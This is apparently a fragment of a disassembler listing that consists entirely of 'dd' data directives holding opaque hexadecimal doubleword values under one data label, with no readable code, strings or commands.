177E6096h, 0F8A70806h, 5D3D2A00h, 5219C34Bh, 71C0A0DBh dd 475E80AAh, 6098B655h, 94BA2174h, 0C058334Ch, 7E68A4A2h dd 108F6094h, 1E614EB4h, 0B66E2B00h, 0D413EA44h, 99BFA280h dd 6AD44514h, 0DC714976h, 28F81893h, 60BAE32Dh, 75485200h dd 0B5BEC122h, 0EEB1023Fh, 0B2241536h, 72A2D980h, 54EE3D96h dd 605AFE00h, 5BCE7FD6h, 0B76100EDh, 46C93299h, 0BF1DAEE8h dd 78C0802Ah, 617BABADh, 0D125305Dh, 0C7CD5228h, 54B3E800h dd 6C5E8BEDh, 0C608CC3Dh, 0CF009721h, 114D8DE8h, 6CBB3Bh dd 75DEA2BAh, 0E2CA0F9Ch, 8BB7D406h, 307DF5h, 1E5401EDh dd 7933FA8Dh, 6B6669B8h, 210508h, 931E5C38h, 0BFBD34E8h dd 8383393Fh, 0A822F437h, 0A873B8h, 52518B2Eh, 5B9DA627h dd 1AFAD706h, 0A020C6D4h, 7C710C34h, 0C0A1E45Ah, 4E626158h dd 0BE009B15h, 3B75BFB1h, 0ECB2EE58h, 925018C4h, 227A4895h dd 48C1BC90h, 93365718h, 4F381880h, 2C1AEA2Bh, 2FF7DD0Ch dd 3E62A4B4h, 18058ACh, 0F4AA0327h, 44AEDCF2h, 8DB7DB15h dd 1E5E8084h, 8C63FA8Bh, 90220B44h, 0FA7F6FEBh, 0F976DF40h dd 0A62A5A8Ch, 5403E87Eh, 13048F12h, 0B469E061h, 0FEBB1F0Dh dd 8620B06Eh, 16AF4D9h, 20804A0h, 0F02E0362h, 183E7174h dd 0ED7B17h, 3028C668h, 0D9F0855Eh, 5F14A3B3h, 10B4BFA5h dd 0C440B69Ah, 70D55610h, 1A36DF03h, 88095577h, 3059617Ah dd 0EAE8CB24h, 0EE19EB54h, 0E8339320h, 99FB0164h, 0D8157B63h dd 50DCC92Eh, 0EDBB5AB0h, 56198F4h, 21709010h, 136848F2h dd 308600E8h, 4EDA75B3h, 700E5FAFh, 0C6ED0AF4h, 1E05C0Eh dd 0F61FC64Dh, 81AB4E2Ah, 33EDA4C0h, 49805ECFh, 51BC8B72h dd 1D0C81C4h, 891DDABh, 9C21C04Bh, 0E209BC83h, 5705FFE2h dd 0AB4648C6h, 4D338C00h, 0A477F15h, 79F4BC50h, 345980E4h dd 0A99AA4E6h, 76386D48h, 0F9D8C731h, 29807AF4h, 57249C4Ah dd 8D015C88h, 9881AB3Dh, 84430F3Fh, 7B0A84A4h, 0C1465EACh dd 76F5F10Ch, 92003669h, 0BE0C196Ah, 142FDF86h, 0E0C7F368h dd 7AD12702h, 7C461B54h, 28373D00h, 214BD9B7h, 0D6AA58E2h dd 9002CC19h, 41B04CEEh, 599C5D09h, 97B820A8h, 3CA12B5h dd 7DB1812Eh, 8309936h, 8C76219Fh, 0E5850012h, 22341C02h dd 2B63C2D8h, 373F558h, 9E4D21B1h, 0A3A0AE9Fh, 14EE9A1Fh dd 0E1F78B00h, 8E6EB5AFh, 917C60D9h, 0EBE76084h, 2AFA0905h dd 0F422BAB4h, 0BC853031h, 91C45F10h, 0BC9D92E0h, 0B80E6804h dd 6CC75C47h, 8B77C2E1h, 9F029836h, 426286B4h, 0FA4F8080h dd 0F705EF9Bh, 88BE40C6h, 6660A00Fh, 2A30ECE4h, 0ECCC225h dd 1CC0E1A7h, 7E5B38C0h, 0C90090BAh, 53188CADh, 0AC191BF1h dd 86540D88h, 40686E5Ah, 0E6E276B0h, 0E8B0FE31h, 0C501CF2Ch dd 784AB058h, 3E76F2E1h dd 52037BECh, 5DE8FDDEh, 0D2A4E00Ch, 66C89D7h, 6A288943h dd 0E81070D1h, 0AE08A162h, 670359C2h, 0B040F3DCh, 9DB6F86h dd 3A2845B6h, 237098A1h, 0B89C5159h, 0A7FBEC2Bh, 0BC33F1h dd 7AF0E34Dh, 0E894A8F9h, 64F148B3h, 0C76212Eh, 57D96E8Fh dd 902452h, 815CBDEFh, 215A67h, 0B2D61131h, 0F800A82h dd 73D74705h, 6418C1A4h, 814DCEB0h, 0F2E83056h, 0B1DB9D40h dd 180D7940h, 241A715Dh, 8620A244h, 0D1A55BEEh, 82E69207h dd 0A8F0FB6Fh, 9D6CF87h, 785467E8h, 4B268802h, 74C82000h dd 10949216h, 506D7A8Fh, 0F4074AA8h, 0B02E42F7h, 12D31071h dd 0AEEEED00h, 0CE30DF7Ah, 3B61C0A1h, 0CC9D0B74h, 0F1061D20h dd 0FC8088ACh, 0C180BAE0h, 0F8531248h, 0D8380044h, 0F2FC85B6h dd 20DB8830h, 14086152h, 20258E67h, 180742E1h, 0C6A415C8h dd 8D03B0D3h, 0DC255EC2h, 18E61100h, 484F1646h, 0B6C8006Bh dd 0C38A8551h, 2B4C1B5Ch, 229DDD6Ch, 0F399B43h, 89FA8B70h dd 788AB2ECh, 1F8484B4h, 0F0CDBCDDh, 1A149681h, 0BAC464C0h dd 0EF682C05h, 79C06DCEh, 488E28C4h, 8A5B0ACh, 88C0CEF4h dd 46C452BCh, 772279h, 5EBC8099h, 678FFE78h, 0FA5DA314h dd 119410DCh, 0C975F418h, 9300655Bh, 0BA506FDDh, 45CEC1Eh dd 98FE5F11h, 30CC8994h, 58C5A7Ch, 54B0E8C6h, 0A0CED5h dd 85E8CE90h, 93399DCh, 67631BDDh, 20CCA005h, 50BC8A64h dd 1189C423h, 829F0575h, 0C480AEBCh, 3FCA2B01h, 0EF3FE58h dd 0C3A47FDBh, 0F6DE0931h, 0CF6424A3h, 1FFE08A4h, 9D053DCBh dd 5DEC4611h, 0D4A13141h, 0C068485Ch, 54B2E80Bh, 1DE41CE5h dd 80E8C896h, 0DC4C369Ch, 0CE30B10Ch, 56476941h, 0F37D0F2Ch dd 0DC61B982h, 0CA2EB5DFh, 0C4E06CCDh, 0EEFAF7E4h, 7498D0h dd 9CB16DDh, 0A4CF7585h, 5404DE42h, 0CC4B5EF6h, 7C14AAA0h dd 0D0945F27h, 10BC10FCh, 0ABE9520Fh, 9DFEDE82h, 0E32E98A7h dd 203E0803h, 39D93316h, 402162B6h, 0A6211C88h, 708345C6h dd 275043B7h, 0A4BC88A4h, 0F440B941h, 8344AAB3h, 86BAD9D9h dd 7F5A6CB1h, 10DC4C06h, 70446738h, 48FC2B52h, 84CE10C4h dd 0BC2AB804h, 21F896C0h, 6240C708h, 0E6FB00A0h, 2E4459BBh dd 792CC818h, 6BDE750h, 865143ABh, 7C0D38AAh, 48BCE0F2h dd 418E0460h, 0ED99879Eh, 20F922F4h, 1928D2CCh, 0ED60A9B6h dd 6C2CCC15h, 0CF466890h, 55BC8F07h, 4AC478C4h, 0BC879840h dd 0BE004411h, 1CDD885Ch, 0B8C9BF05h, 0B62D0044h, 0C0FE5DF1h dd 6938E7CFh, 181325DDh, 52E1DEC8h, 5403CCA9h, 7C1EAEDBh dd 83AC904Dh, 53A6FFDEh, 3B005429h, 2E9D7BC4h, 240127F6h dd 46D9586Dh, 0E0411C52h, 3207BA78h, 0D8A162D1h, 0E81EA840h dd 0F0102221h, 5A1C6380h, 0D180E948h, 8F1871h, 9EFE1804h dd 9D7F47E0h, 0CF54A15h, 0F0C900C4h, 92D47BE7h, 0B91D1768h dd 0CA440556h, 0E67CC026h, 602DC10h, 0A57A83A4h, 51506AC0h dd 18CB71F0h, 9FBD00DFh, 41B38011h, 5A285320h, 7480A451h dd 0DC26F477h, 0D1083C8Dh, 12411D5Dh, 0B1088C80h, 2EC61208h dd 409EC4A1h, 9D12886Ah, 0C3BF1D95h, 4065C435h, 31F4D242h dd 17C7E841h, 15A7FA53h, 9C47CF39h, 72893Dh, 2066DC4Ah dd 0CBB1F960h, 6838A8C2h, 0F6C883AEh, 6CD19DF2h, 36F8E4C6h dd 12C40234h, 73CC8B4h, 0ADFD0C48h, 0A0BEEC91h, 675A247Ah dd 0DFD8017Ah, 70873AF4h, 6D63BA30h, 747C7B99h, 0E94FF0F8h dd 50C03700h, 44BC961Bh, 42684AC8h, 0F2FE546Ch, 80B898A9h dd 0B3122CD9h, 6C67B83Ch, 0CE3816DBh, 0A1892820h, 102068C0h dd 1228335Dh, 18400EF4h, 57D58C2Dh, 2CEA00EEh, 0C17FC69Ah dd 0C83F6F75h, 8BE21F35h, 0E7263DC3h, 0A4B80C6Ah, 24D9A9DFh dd 0BC590C0Bh, 10B8046Fh, 30432CA0h, 70610858h, 0C4A84C24h dd 39C0D93Ah, 0F411FB66h, 4EC00D6h, 9E4A0877h, 6125E4B5h dd 485C101Ah, 5A834066h, 219CBD54h, 0AF520274h, 0A2F40090h dd 5382A7C6h, 92522E47h, 0A467CF0h, 0EA90B000h, 4DEE92BEh dd 8D2454B0h, 5032D403h, 1E5F3082h, 6BFA8413h, 210058CBh dd 0A9C61E67h, 31F66EE6h, 0EF6CC003h, 0A8B8B7D4h, 0A221825Bh dd 830C84D4h, 8B48898h, 892ECB12h, 69409BC4h, 0FAC3128Fh dd 6909859h, 0B79A5864h, 50CB64F8h, 0B800B087h, 82A46A82h dd 0A08E058h, 0A0F61518h, 3B16E860h, 8D488285h, 9E3D1360h dd 0DDCCE804h, 6C5BBD02h, 0CC99504Ch, 1318C8D1h, 11042200h dd 632157Dh, 1A4B0588h, 92BEBCFAh, 18C8E57Ch, 5881627Dh dd 0A8501103h, 0F55CDD6Ch, 0C5A48554h, 0F9DE4088h, 0A845BC54h dd 0D8D2C89Dh, 408E050Bh, 0A2BB6C8Ch, 756E6D71h, 6EF6C210h dd 14547273h, 0F8E5A8DEh, 1D4E200h, 0BB40B546h, 0EA26C0Ch dd 20CEF85Bh, 0C01ED49h, 3E245FB6h, 27301B11h, 52F50089h dd 0D56C03F7h, 97245DD0h, 0A208F444h, 21C100B7h, 0C2AE5B3Ch dd 563C3CBAh, 0B0682B8Dh, 0CCA65A0Fh, 3282074h, 2A71ED55h dd 784BEC38h, 48235C2Fh, 6C968505h, 0CFE4EC04h, 2A8DC70Ah dd 0FAF609B0h, 0E000EA04h, 2AFE5AB2h, 0C4A16060h, 0DF8C7A40h dd 37E80F29h, 3AC0017h, 9B6602BDh, 0A7E76013h, 48889CCBh dd 0B9DC1FC0h, 24B898DFh, 648888Fh, 0E88967E3h, 465E909Eh dd 5E4E0109h, 2C67B23Fh, 0DEC4E8E4h, 0D0F513F0h, 0EAE3E5C0h dd 858DD539h, 5A86BB57h, 0C65E0090h, 7664E28h, 844DC298h dd 944CC1EBh, 0E81C3DCEh, 0CDC80174h, 38F02EE6h, 99F4321Eh dd 77102818h, 0B94893AAh, 0A0A43F38h, 185260D1h, 0FE5F04F5h dd 6739FA60h, 3D44912h, 7D7B9507h, 7954C3A4h, 645AEEA0h dd 1838F04Bh, 0B1739230h, 22933C78h, 8C9C209Fh, 9D05B26Ch dd 510EFF0Ch, 0F2F4EC02h, 657C7234h, 678928ECh, 8F1E30CCh dd 448C43FAh, 5A003E06h, 6EA49F1Eh, 6036DCDAh, 0F13C980Ch dd 0A12D1789h, 94DC8A50h, 0BC121A84h, 0EC815494h, 8C0880CAh dd 1E510F8Ch, 38F2FA8Ah, 59002308h, 0C92B361Eh, 1DF43C0h dd 5A758FF1h, 33ED7645h, 3093B2C0h, 0FD3A4501h, 9A53007Fh dd 0D98EF9F0h, 0B0065084h, 2AA610BCh, 1D20134Dh, 0C7C8008Bh dd 0AB5462CEh, 4AF0605Ch, 3CCA81A8h, 8FB3F80Ch, 502FB3E4h dd 86033AE0h, 20645738h, 0A090B602h, 80C6E81Ch, 0A1005ABDh dd 0F34F144Dh, 6E40D8ECh, 0F9D8C80Ah, 0DCA871F4h, 0E51E46EEh dd 78C0EA09h, 40D1AABAh, 3F230214h, 0F68E5A9Fh, 154FB0A0h dd 0E5485EF5h, 9AFA1A20h, 92E8D178h, 80D08153h, 440110CFh dd 24125CAAh, 0DD482E12h, 0F3986100h, 727E90C1h, 284D12B0h dd 7CCCB856h, 0D81A1060h, 2D4701BCh, 5C7A0EDh, 82748093h dd 27E38240h, 7EC46017h, 0FC77C800h, 5160447Fh, 2C1847Bh dd 8F5EEE18h, 538ACC46h, 0F0909819h, 16470B38h, 20091EFEh dd 8E0B3464h, 0CA10D4E9h, 5C518Ch, 56F22309h, 1A016A2Bh dd 0BE2E11B3h, 0D42DDD63h, 3CA4A9C8h, 58605812h, 2CB6E8C4h dd 70F0C554h, 0E850CC92h, 6600A19Ch, 0CD426D53h, 4C70321Dh dd 438A942Ch, 84424B6h, 0F4097434h, 0DFF44095h, 510A0420h dd 0E27CDAA6h, 80402290h, 82EC2FA8h, 0E142A0C0h, 0F49D6902h dd 64CF401Ah, 22120C4Ch, 0ED11BE50h, 46217018h, 0C0D62581h dd 4B7109B1h, 1F05556Dh, 7D1CE82Eh, 0C89E6CD5h, 0DC580780h dd 5B00251Eh, 0B6CA683Dh, 92035CC1h, 4068B428h, 48CC986h dd 9313C499h, 0F18EE443h dword_4FF844 dd 7B3117C8h, 44645060h, 0C9128A80h, 448C992Eh, 8D00779Dh dd 0F1896912h, 60BEF65Ah, 5C57705Dh, 805F8220h, 0C76CD444h dd 0AFEEBD02h, 0BCC408Ah, 4485368Eh, 3974A1A0h, 0DCF4B9F4h dd 6FD50297h, 2C216418h, 298258C0h, 0E3D2A480h, 0F4773180h dd 5A6D8DE6h, 47256F78h, 0F228486Eh, 0C5ED40B8h, 0BAA85008h dd 2F10044h, 0B8FA62C9h, 3892D44Ah, 0F410802Bh, 2E3110DCh dd 2F5411A8h, 90FC4824h, 0CC020E0h, 10CC1C52h, 127C6C2Ah dd 94FFDD0Dh, 30008124h, 0AEBC0008h, 95C9E6Eh, 282045CEh dd 6554153Eh, 0D399200Bh, 0BAF48EF4h, 44906789h, 4F456009h dd 3FC8003Ah, 26E8B431h, 582DAE6Eh, 6A38A1F5h, 27F497A7h dd 3D15021Bh, 0F49F8BFAh, 54008CFAh, 20B0A462h, 66350Eh dd 2AA5BCB6h, 3349260Bh, 0B4519128h, 1086FE22h, 0DC7E41Ah dd 0F84C2643h, 247950EBh, 90624C82h, 2419568Ch, 25F01300h dd 0C82E31DBh, 9DB4A584h, 60981337h, 16506590h, 7C0210BEh dd 91CD1822h, 0E215BCF0h, 0A28C0010h, 8D212FE9h, 1791258h dd 31240A14h, 7286FE4h, 0A4C19D02h, 754CF2DAh, 2088983Ch dd 8C04166Ch, 0E0EAFA60h, 2CD220C0h, 20749052h, 0DE0F1250h dd 0AC4E7A0h, 8F64E0B8h, 891EE067h, 448C53FAh, 580A3C0Eh dd 949D1F1Eh, 7B2C4011h, 0CB465EFCh, 97C93B00h, 0D8046E37h dd 90DBA42Fh, 3FFEB0CCh, 6797C512h, 886C8BA7h, 0F2D8C376h dd 9ED502E8h, 0DC905701h, 21B25ABBh, 0E04CEDC5h, 0AD17154Dh dd 34949478h, 10C48EC6h, 0BDC9E100h, 0B4DB4C7Ah, 82FB075Dh dd 612BA699h, 2BCA1FC6h, 281C5408h, 8476E228h, 23949453h dd 0E8CA0166h, 193554B4h, 32AC20EEh, 0B21C1FE8h, 76C0C4F0h dd 0B48D25BCh, 20DE5986h, 207AA056h, 614CADE3h, 154C10C0h dd 0B4A8247Ch, 3097CB88h, 0E5800491h, 68962732h, 0DC03540Fh dd 2AF8F95Bh, 8E8A81BDh, 117C7BEEh, 0F8DE1485h, 102E044Ch dd 0B13626Bh, 3489E16Ch, 20317C11h, 1B408C78h, 1EAC938Eh dd 873648C7h, 120B742Ch, 1942BE7h, 0EC594F04h, 3A587F00h dd 8C90845Ch, 0B8B22982h, 667E20A8h, 1844CE24h, 0FE261780h dd 73FD3580h, 8C5C33EBh, 0AAAC888h, 2AE68CE4h, 60F18680h dd 0E19DA10Ch, 8D4898F6h, 0DF8AC0E8h, 1C84F37Eh, 1F94AACh dd 56C18C3Dh, 0D2C2D1BDh, 82CEC483h, 0A01AC92Dh, 702DD9A8h dd 874CBE2Ah, 49C24067h, 6543685Ah, 0CECC215Bh, 0E831805Ah dd 13C4B9AFh, 0AC18C4C6h, 9F1401C0h, 0B161DB4Eh, 29883C62h dd 8849F8BFh, 1E558008h, 953BFA8Eh, 3F001496h, 0F4AD1E5Dh dd 4C4D17E0h, 7700C816h, 0C8AFD1E2h, 0F28F2FCh, 0FD1058D7h dd 4D015D78h, 2AF7EAC6h, 0C5CC5021h, 0A4589A28h, 0D1B484DCh dd 0D4DC2504h, 20F0023Ch, 68496710h, 7D2862F4h, 4F8450F1h dd 0BD0AAB31h, 0FC7B8F06h, 0A4580A11h, 0B4085301h, 60E3939Dh dd 0BD4C3060h, 8C06F880h, 0A74A721Eh, 71F7D440h, 0BE8DF97h dd 82486C67h, 480EC28h, 2378B308h, 59A90387h, 0A7C640C4h dd 34CB2824h, 447E1808h, 13A4403Ah, 976D5A1Ah, 0DFD85C22h dd 1CC18D25h, 4303C518h, 0ED2419CEh, 8F16BCC2h, 70CBF8C5h dd 6AC0CAC8h, 932CF99h, 69DEAAB5h, 81679C84h, 150EC3DCh dd 0A23183Ah, 0F258D200h, 2F1CC3F5h, 0E4A04ECEh, 270C6AFAh dd 0FD26701h, 8AC66B31h, 0B4B24DCh, 0E99205A2h, 389964C6h dd 0AC18C1D1h, 0FEAE5417h, 22A88450h, 10865CD5h, 51C8DC10h dd 0EDD47014h, 73068F10h, 3A1C5C50h, 74CCEBFCh, 354E2A3Dh dd 0B72CE27Ch, 0CA45C1B8h, 504FD5A9h, 0ACBEF84h, 201EDA00h dd 34D63B0Bh, 8B741E95h, 26AF412Fh, 322171E5h, 58C51E10h dd 0CB278190h, 4C11981Fh, 0E8854CFCh, 0CE5C08ACh, 4628C704h dd 0AE01C8A8h, 9658C64Ch, 0F7FC2488h, 8648C40Ch, 48E2109Ch dd 0A380E0F2h, 4256DE63h, 44A55125h, 53F983C4h, 3124E879h dd 19591114h, 0E6A0F69Dh, 0E8435039h, 0F364125Eh, 759E0168h dd 47FF9F30h, 0E8AC342Eh, 0E705DFF4h, 2C6405C6h, 55067CB0h dd 0E7F13C6Eh, 0AEBC9C14h, 0A820D566h, 0C8277C41h, 8293B310h dd 96020408h, 0B5181367h, 0A24054D0h, 30C9F258h, 713A547Eh dd 0DC057F40h, 0A65AB973h, 49CE0CE4h, 16002C43h, 0F6FE3BA7h dd 8A019894h, 3D84BC21h, 0C8605593h, 82BE40E0h, 0CEF174B8h dd 0EEA25107h, 88385C62h, 28037236h, 0A370D755h, 0E4614C80h dd 9A06610h, 41F42AB8h, 21855DCCh, 417F5443h, 0CCF22CF4h dd 8A7408C8h, 0FB06D081h, 1729AFEFh, 80099184h, 90A38945h dd 0E50C917h, 3F0CCCEh, 0BDDAF88h, 53A24BBh, 442F2004h dd 0C4F93770h, 0B03E344Ch, 1BF4990Dh, 48D42039h, 960D150h dd 0B48B39D7h, 92C20EC8h, 9AB8E091h, 7628946Fh, 828CB46h dd 44EE00F6h, 0EF19669h, 540F1701h, 294E28DEh, 0C394E95Bh dd 10FCF015h, 0A17E0212h, 8A41C4E4h, 0CE4CC0C0h, 11DC9430h dd 17C3532Eh, 0DD7D9B24h, 0FB40205Ch, 0AB117060h, 8894Eh dd 0A06D879Ch, 6BCC4F96h, 24477B0Ch, 8681DAh, 0CF53B427h dd 91DFA354h, 0FC78924Ch, 4DE48F4Dh, 3DAA022Fh, 0E0772318h dd 8003E358h, 4F28A15Ah, 0B7279C92h, 0C47045A4h, 5AAF6149h dd 0A205DC3Dh, 0E05E3EF6h, 2020D878h, 20709079h, 0AE124A0Ah dd 0A8B0D4F1h, 0E8A15050h, 0F61484D7h, 26206276h, 0EC875C1Eh dd 52495E86h, 0D1349114h, 418C4h, 643E3186h, 68D4E2BCh dd 62082F04h, 0EC885A42h, 0CBF5E3FAh, 977D6069h, 576C6820h dd 153BCF0Dh, 84338EAEh, 19D763ECh, 543ABF5h, 0AAF6D298h dd 0D4540F74h, 0C4F90209h, 9AF7E409h, 58CC80D0h, 39C3802h dd 5B06F470h, 31B6A2AEh, 98205C5Fh, 9D0E104h, 83FE68B1h dd 0E70004C4h, 937FDFD5h, 0C85840h, 44DC0441h, 0A0CA8D05h dd 0A75E2700h, 55FBC1ECh, 0B6DB0173h, 9182206Dh, 100E6B5Bh dd 4F74C10Fh, 425D352h, 238C2E2Eh, 49BA0074h, 9BA35077h dd 9C8460E1h, 93DFB240h, 0ACDE88E0h, 467414A4h, 0FA5500C9h dd 6670F942h, 0BE6F2CD4h, 2883084Ch, 0FB102E05h, 53F4F0A0h dd 0DC12EC24h, 0ED8D1CCh, 2C5479ACh, 80A9885Fh, 221871D1h dd 2167C800h, 0A34CE777h, 0DD340585h, 0C18DBEA0h, 7FEAECh dd 52EBB67h, 2752C197h, 3698A4B0h, 0C7371F04h, 58E4C8B4h dd 54FF4EDEh, 2C11984Ch, 82A38804h, 4F7AA654h, 0B8B4CF04h dd 7B1500AFh, 3467608Dh, 6C00BB57h, 0E49C0FB9h, 612451C3h dd 708D4199h, 14206A2Dh, 1BCC82Ah, 999417DCh, 20C2D438h dd 0DE8802C4h, 0EE4CA4F0h, 913CB474h, 425905D8h, 74A04F26h dd 9288402Ah, 4D87027h, 0C5414124h, 39EF228h, 0F230AAFAh dd 70DD1F1Ch, 0C509222Eh, 67A32A50h, 0C8561260h, 0E8A307E0h dd 303232B4h, 0B98BC84h, 82E89953h, 76BC9C9Dh, 2678402Ch dd 9A0FAFD4h, 0B21AF48Dh, 7F6C6CD1h, 7590E213h, 980C7D86h dd 191DF4BDh, 0F1FC7470h, 4E002862h, 7DCB06B8h, 0A77392E3h dd 0AF765D05h, 548184C4h, 0E0605E48h, 0F4048463h, 1AFA9C0Eh dd 49782886h, 0F4821C53h, 7CE3CE68h, 0DD07F18Eh, 0C33DFBF6h dd 42F7FE50h, 0F87F5850h, 0A4DBD0C5h, 0B4B44CF8h, 390F467Ch dd 43A88414h, 6CC06426h, 99428EDAh, 709D82D0h, 0ACA05F24h dd 0B4CA8CB2h, 0C424E848h, 0CE4BA7E1h, 0F4B810E8h, 7C85C400h dd 0B289B6D2h, 8CE9483Ah, 109F2E22h, 3B39FCh, 0A3C6E50Ch dd 0D434A5FCh, 8654AC04h dd 2A0576E6h, 8884131Dh, 0B824F0F0h, 74525813h, 92465E88h dd 0D51E9E07h, 0E9B5C172h, 0C581D846h, 0A89A4825h, 0ED10B81Ch dd 60845324h, 1AB3FEDFh, 7D45D0A4h, 7C4D188Ah, 0FFC401C8h dd 8E5D37DAh, 9058D8B9h, 0CF7C7B0Bh, 0B0881048h, 8038BEEh dd 9CA90180h, 65400984h, 28715E20h, 0E4C0E527h, 4183604Ah dd 700818EAh, 0A31219A5h, 67AE8616h, 6F9AF091h, 870DF501h dd 39A490C9h, 25201470h, 893D000Eh, 64AB6EADh, 0F90382B3h dd 7C84C1B8h, 90D99AF2h, 89B67290h, 5C773036h, 0E640C49Ch dd 1C5948EBh, 80911584h, 3DC06438h, 7804D147h, 928503FBh dd 1993D4BCh, 393A3895h, 816800B4h, 0AF9E5F0Ch, 36CB0016h dd 53E260D9h, 1109F54Eh, 80E33E8Ch, 525EB45Ch, 80AA4B57h dd 0DEDCF484h, 63082850h, 0E95460B0h, 0FE1654DCh, 2CD07FC2h dd 516E4Eh, 9BA48D5Dh, 206330BCh, 60732A0Ch, 906960E7h dd 9E74FA44h, 22B985ACh, 87A0D28Ah, 0B004444Ch, 0A92EC712h dd 6DB084B8h, 1E00128Bh, 0A145E6F7h, 4BF0FCBh, 44C1B646h dd 0B2EE040Bh, 9088708Eh, 798D2CC0h, 4F9E0037h, 0F7F499B4h dd 0D6265064h, 5C42C4B7h, 7A6020BCh, 87331028h, 89ED787Bh dd 0AC7829Eh, 78041538h, 66024298h, 0ADE3F020h, 4DA8C0AEh dd 0A652B550h, 23475A27h, 0FD31C648h, 460C203Ch, 0DCCC5B91h dd 135E008Ch, 0F8E03FECh, 0E132F1D8h, 74A790A1h, 76465C20h dd 0C4341100h, 546DE025h, 0B90480Eh, 72FC095h, 0E10FE906h dd 0CDD10280h, 0D79AD018h, 0BEE86B00h, 68354A59h, 70ED7309h dd 8D2CDC3Fh, 10351480h, 36C4681Fh, 0C66958h, 0E652F57Ah dd 1C84E733h, 306A373Ch, 3E85004h, 582033C3h, 448991C3h dd 8CFBF87Fh, 1402116h, 0F67EC350h, 8007E929h, 0AF433D17h dd 60B356AAh, 0F2805425h, 951AFFC1h, 17D417A5h, 80141135h dd 89C08537h, 31FD37B5h, 0CF236F48h, 66B009F5h, 6818CB8Bh dd 81F401FFh, 0FACC00C9h, 0BD8344A4h, 34D021D5h, 42841190h dd 0C5850906h, 8D761A0Ah, 4EF62C30h, 72DF8152h, 40980622h dd 3349E95Fh, 0CF57BCC8h, 8944C3EEh, 201C627Ch, 0CBC35747h dd 0E6D53A00h, 14D4E07Ch, 6EB906E7h, 7861C6D3h, 61E80244h dd 55CF390Eh, 9C5BC888h, 0BB029B00h, 4D45C334h, 9D890C93h dd 59B605BDh, 95185078h, 0FF1003EDh, 818AA4B5h, 0D94C7BAh dd 6F032DE9h, 88826828h, 81C0EE8Ah, 871474C6h, 22A9F792h dd 55EAC8D3h, 91C35DC3h, 19186C89h, 554588h, 7AAF53C3h dd 608AA5B8h, 0C1BD310Ch, 0A619A01h, 263D85C7h, 2903B3C4h dd 0A0336DD1h, 7FD0D414h, 16C84D4h, 8DBA6601h, 0B19641FFh dd 0B52900F8h, 80059221h, 4035BD82h, 2906A15h, 8B338E50h dd 0C559514h, 1D329090h, 7ED4AAB6h, 0ACB2294h, 1A6DBD8Bh dd 0CF81C016h, 71F6A2BBh, 233930C6h, 4860B024h, 0A1D03CD7h dd 0D024051Ah, 1A443C96h, 87D70481h, 65440E48h, 0E9D36305h dd 794E1418h, 1442D52Dh, 0DA816080h, 0D57AEDFEh, 297E0B7Eh dd 0F50B3A8h, 7EA1887Bh, 400A26F9h, 7E8A194h, 0CAA91093h dd 8B1815D1h, 1BF9C624h, 938F0FC2h, 8D6C14BCh, 0E9A2A61Ch dd 0B41D1180h, 0D00C4FCCh, 92EC8ACBh, 0B5AD86C3h, 1DA46260h dd 88E10149h, 0FB1B0A1h, 0B549508Bh, 61820485h, 99A1CA6Bh dd 1819F982h, 86F40476h, 8207AD9Ah, 0F9AC8135h, 2C45FDFEh dd 2488194Dh, 0E9072AB9h, 39FEF6EDh, 1C00D18Eh, 1CCC0A01h dd 4B6909h, 83D0372Bh, 94B31768h, 54DBB531h, 0A93201E1h dd 5A0E5223h, 548944C3h, 4200DECEh, 59E7C352h, 8D198B31h dd 0D79D102Dh, 538985E0h, 1BA22C18h, 0E6DD30h, 43E8B6F4h dd 0E181CEA8h, 9AD5C801h, 5D1E961h, 3D3B0F22h, 0C60E840h dd 0F7279243h, 0FC6800E2h, 0BB9F644Dh, 19851F3h, 594EEC02h dd 6AD1B58Dh, 0CD7D4102h, 527D9023h, 5123E5A6h, 44C3590Eh dd 18624C89h, 0C3514120h, 0E84D25D8h, 10A380D7h, 1CB704h dd 0ADBF6660h, 61F28B4Fh, 0B1D0FF24h, 8D852A29h, 982730B9h dd 90E15EFh, 1926BD85h, 0B44C1F02h, 0F2E852F3h, 40991D00h dd 0FEC604Dh, 90A9D873h, 0B15A021Bh, 5E18566Fh, 8924C372h dd 46705474h, 10C30356h, 8E2A84D5h, 746051A2h, 5FDB2995h dd 28C8CBD4h, 25FE85Ah, 28EBD95Fh, 0B583F174h, 31422BC1h dd 860F1366h, 61D33732h, 0E9111701h, 6A0B8012h, 0B3DE9184h dd 5A4607ADh, 4023F555h, 0A6F02F80h, 8BE4DA01h, 4006BFC0h dd 9F20D161h, 75314401h, 55120962h, 1974200Ah, 36C75350h dd 0B9BAD9B8h, 0BA9AD46h, 0B3F29D8Dh, 5BD38621h, 17225858h dd 23201E82h, 2724B0E1h, 0B89CDCEh, 2A40EBC2h, 6909031Eh dd 0C2049ECEh, 69FC8150h, 0D8D40726h, 0D01EBC87h, 256C5333h dd 89440F67h, 0D438B2Eh, 209C066Dh, 0C00A10B5h, 0C9952B5Bh dd 5136C21Eh, 51E76A59h, 5B611564h, 63221D0h, 0D603BE32h dd 6A82B150h, 1FAF2460h, 45648B5h, 0D649BD03h, 8158E51Fh dd 36319CC3h, 8481AFDh, 68BFA9B9h, 82C04AC2h, 517652Eh dd 23602E53h, 0EE5D001Ah, 0CF11F9A9h, 8D33FD09h, 0E92EA755h dd 3B6180A8h, 6F87E77Ch, 9001B600h, 81DD5202h, 5AA338BFh dd 592A6C48h, 9B531FFh, 41DF110h, 0EBB80480h, 649DF8CEh dd 0D961E711h, 51E095DAh, 89D04993h, 348418E8h, 0B4AC0110h dd 0F96191Dh, 9E0AE0E2h, 9DEADF05h, 0A30F7270h, 592BB045h dd 745126B7h, 0C40F1D46h, 0D3E066BBh, 0DE21109Fh, 105B434Ch dd 0F140399h, 0E9899282h, 0DCBC590h, 75ADB000h, 40C57A9Ah dd 10511DB9h, 0DA18548Bh, 591B7910h, 282C23ECh, 81CF5C20h dd 3D2344B2h, 190B7B8Ch, 7F01E983h, 0C3221013h, 33E29Bh dd 3B9E4E8Ah, 88DD8373h, 0C43DAD01h, 348FCF5h, 0E9C760B1h dd 0E43DBD2Ch, 5301239Ch, 44850F60h, 14F844Ch, 3D5F6106h dd 0A5445296h, 0E141BF27h, 0BDE03C98h, 7C0748B9h, 5AF59F82h dd 0AE2146Bh, 0F09F0C09h, 40E84BCAh, 7A86D4B8h, 0A201CE59h dd 1535A932h, 8970FADDh, 1867B013h, 545FB99Fh, 0B680EFF2h dd 48C59A4Dh, 71C019C0h, 1DF64A50h, 0BE175376h, 210F9EA0h dd 0CAD1A09Ch, 290F16CBh, 1BD058Ch, 30ABCF81h, 0F1A2335Ah dd 841F0BC6h, 502E0BC6h, 